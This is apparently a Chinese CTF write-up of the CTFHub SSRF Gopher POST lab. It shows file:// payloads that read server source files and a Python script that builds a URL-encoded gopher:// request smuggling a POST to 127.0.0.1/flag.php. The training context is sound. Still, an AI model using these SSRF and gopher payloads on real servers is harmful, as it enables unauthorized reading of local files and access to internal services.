CTFHub靶场之SSRF Gopher POST请求(python脚本法)
目录
一、SSRF简介
二、Gopher协议
1、Gopher简介
2、Gopher语法
三、渗透实战
1、目录探测
(1)Dirsearch探测
(2)查看index.php
(3)查看flag.php
2、获取Key值
3、构造gopher渗透Payload
4、获取flag
本文介绍了如何使用脚本法利用SSRF+Gopher协议进行CTFHub SSRF POST关卡的渗透测试。首先通过目录探测发现flag.php文件,利用file协议查看源码,发现需要本地访问才能获取flag。然后构造Gopher协议的POST请求包,将key值通过URL编码后发送到127.0.0.1的flag.php页面,最终成功获取flag。整个过程展示了SSRF的危害性以及Gopher协议在渗透测试中的特殊用途。
一、SSRF简介
SSRF(Server-Side Request Forgery,服务器端请求伪造)因服务器未严格校验用户输入的请求目标,允许攻击者诱导服务器向任意地址发起请求。其核心危害在于突破客户端访问限制,攻击者可利用SSRF访问服务器所在内网资源(如内网数据库、服务接口)、扫描内网端口、攻击内网设备,甚至通过构造特殊协议请求(如 Gopher、FTP)操控目标服务(如 Redis 未授权访问)。
二、Gopher协议
1、Gopher简介
Gopher 协议是 1991 年出现的互联网信息检索协议,比 HTTP 更早,以层级菜单式交互为核心,专注高效信息传递。它通过简单的文本菜单组织资源,支持文件、目录、查询等多种类型,默认使用 70 端口。虽因 HTTP 兴起渐被取代,但因其轻量特性,仍在特定场景使用,也常被用于 SSRF 攻击,通过构造特殊请求包操控内网服务。
特性 | 说明 | 优势 |
---|---|---|
协议灵活性 | 可以模拟HTTP、Redis、MySQL等协议 | 一把钥匙开多把锁 |
原始TCP访问 | 直接发送原始TCP数据包 | 完全控制请求内容 |
绕过限制 | 很多WAF不检测Gopher协议 | 绕过安全防护 |
内网渗透 | 直接攻击内网无Web界面的服务 | 扩大攻击面 |
2、Gopher语法
用于SSRF攻击的gopher语法如下所示,其中_
下划线字符(第一个字符会被服务器忽略),<URL编码的TCP数据>表示
要发送的原始TCP数据。
gopher://host:port/_<URL编码的TCP数据>
Gopher 协议中,特殊字符需进行 URL 编码才能正确传输,尤其是在构造交互数据或菜单条目时。以下是常用特殊字符的编码对应关系:
字符 | 含义 / 作用 | URL 编码 |
---|---|---|
\t (制表符) | 分隔菜单中的字段(类型、路径、主机、端口) | %09 |
\r (回车) | 与换行符配合表示行结束 | %0D |
\n (换行) | 表示新行或命令分隔 | %0A |
(空格) | 分隔命令参数 | %20 |
_ (下划线) | Gopher 路径分隔符 | 无需编码 |
* | 某些协议的命令前缀(如 Redis) | %2A |
三、渗透实战
打开题目,提示信息为“这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年”。此时点击开启题目,将URL地址复制下来。
打开burpsuite开启抓包模式,firefox浏览器开启代理指向burpsuite。在firefox浏览器打开靶场,访问index.php,上一步复制的完整URL地址如下所示。
http://challenge-f22fa60d5a3cea0a.sandbox.ctfhub.com:10800/
使用burpsuite抓包,如下所示。此时服务器返回的响应为HTTP/1.1 302 Found,并重定向到/?url=_页面,提示有一个参数名为url,index.php的响应报文如下所示,根据提示我们可以利用url这个参数获取源码内容。
1、目录探测
(1)Dirsearch探测
使用 dirsearch 对靶场进行目录探测时,通过命令 python dirsearch.py -u 靶场URL -i 200,300-399
指定了响应状态码范围,成功发现了flag.php文件。加入 -i
参数是为了筛选显示特定状态码的结果——若不添加该参数,扫描结果中将出现大量 503 状态响应,干扰有效信息的提取,用户需要耗费大量时间在冗余信息中人工筛选才能定位到 flag.php文件。下图展示了未加该参数时的执行结果,可见有效结果被淹没在大量无关响应之中:
在通过-i参数限制只显示 200 和 3xx的响应值后,运行结果如下所示,确认根目录下存在flag.php文件,稍后我们同样利用file协议访问flag.php。
(2)查看index.php
通过使用file协议访问index.php的源码,输入?url=file:///var/www/html/index.php的Paylaod进行访问,右键查看源码效果如下所示,显示了index.php的源码内容。
对源码进行详细分析,代码中包含函数curl_exec()函数,说明这是一个存在严重SSRF(服务器端请求伪造)安全风险的PHP源码,因为$_REQUEST['url']
直接传递给 CURLOPT_URL,其
参数为URL。它首先检查请求中是否包含url
参数,若不存在则重定向到/?url=_
;当存在url
参数时,通过 cURL 库初始化请求,设置目标 URL 为传入的url
参数值,关闭响应头输出,启用自动跟随重定向功能,然后执行该 cURL 请求并关闭会话,最终将请求结果返回给客户端,整体起到转发指定 URL 内容的作用,且关闭了错误报告、这意味着攻击者可构造恶意url
值,诱导服务器端(运行该 PHP 代码的服务器)向任意地址指定的任意地址发起请求,包括内网资源。
(3)查看flag.php
接下来构造URL,查看flag.php文件:?url=file:///var/www/html/flag.php。如下所示访问flag页面后发现当前为空页面,使用右键查看源码打开。分析源码,flag.php源码内容如下所示,它告诉我们只有从 127.0.0.1
(即服务器本地)访问此页面时,才会继续执行;否则,显示 "Just View From 127.0.0.1"
并停止。
由于页面只能从 127.0.0.1
访问,普通用户无法直接打开这个页面。因此,通常需要利用 SSRF(服务器端请求伪造) 来绕过 IP 限制。详细注释后的源码分析如下所示。
<?php
// 关闭所有错误报告,避免向用户泄露敏感信息
error_reporting(0);// 检查客户端的 IP 地址是否为 127.0.0.1(即本地主机)
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return; // 如果不是本地 IP,显示消息并停止执行
}// 从环境变量中获取 flag 的值,环境变量名为 "CTFHUB"
$flag = getenv("CTFHUB");
// 计算 flag 的 MD5 哈希值,作为密钥
$key = md5($flag);// 检查用户是否通过 POST 方法提交了 "key" 参数,并且该参数的值等于 $key(flag 的 MD5)
if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag; // 如果匹配,输出 flagexit; // 并退出程序
}
?><!-- 下面是一个简单的 HTML 表单,用于提交 key -->
<form action="/flag.php" method="post"><input type="text" name="key"><!-- 调试信息:在注释中显示 key 的 MD5 值,但用户通常看不到(除非查看页面源代码) --><!-- Debug: key=<?php echo $key;?>-->
</form>
这段代码用于验证访问者身份并输出 flag。首先限制仅允许本地 IP(127.0.0.1)访问,非本地访问会被拒绝;本地访问时,从环境变量获取 flag 并计算其 MD5 作为密钥key;当用户通过POST提交的"key"参数与key 匹配时,输出 flag,页面还隐藏了包含 $key 的调试注释(需查看源码可见)。
- 利用本地访问权限:由于代码限制仅 127.0.0.1 可访问,需通过服务器本地发起请求(如结合 SSRF让存在 SSRF 的服务端以本地 IP 访问该页面)。
- 获取密钥key:本地访问flag.php后,查看页面源代码,从注释`<!-- Debug: key=xxx -->`中提取key值(flag 的 MD5 值)。
- 提交验证:通过 POST 方法向该页面提交
key
,即可触发echo $flag
获得 flag 值。
2、获取Key值
综上分析需通过127.0.0.1去访问服务器以绕过IP限制,故而查看flag.php文件应该使用Payload(/?url=127.0.0.1/flag.php)来拿到KEY,key值为1d6f712be0071e5bb96d3a4e44b533fd。
3、构造gopher渗透Payload
结合最初页面的提示“这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的”,分析如何在ssrf提交post传参,即通过满足如下条件构造报文,这里需要注意content-length的长度32正好是key的长度,也就是通过len(key=1d6f712be0071e5bb96d3a4e44b533fd)计算得来。
-
用户需要通过 POST 请求提交一个
key
参数。 -
如果提交的
key
与 flag 的 MD5 值(即$key
)相等,则直接输出 flag。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1d6f712be0071e5bb96d3a4e44b533fd
这里就要介绍到gopher协议,通过gopher协议构建一个POST请求包来发送这个KEY,由于Gopher协议需要进行URL编码,故而对如上报文进行编码,python脚本如下所示。
import urllib.parsepayload = """POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1d6f712be0071e5bb96d3a4e44b533fd"""
print("[+] 构造的POST请求:")
print(payload)
print()payload = payload.replace("\n", "\r\n")
gopher_payload = f"gopher://127.0.0.1:80/_{urllib.parse.quote(payload)}"print("[+] Gopher URL:")
print(gopher_payload)
print()final_url = f"?url={urllib.parse.quote(gopher_payload)}"
print("[+] 最终请求URL:")
print(final_url)
print()
运行结果如下所示,其中最终请求的URL即为Payload。
[+] Gopher URL:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1d6f712be0071e5bb96d3a4e44b533fd[+] 最终请求URL:
?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D1d6f712be0071e5bb96d3a4e44b533fd
4、获取flag
构造gopher Payload并使用burpsuite发包,如下所示成功获取到flag。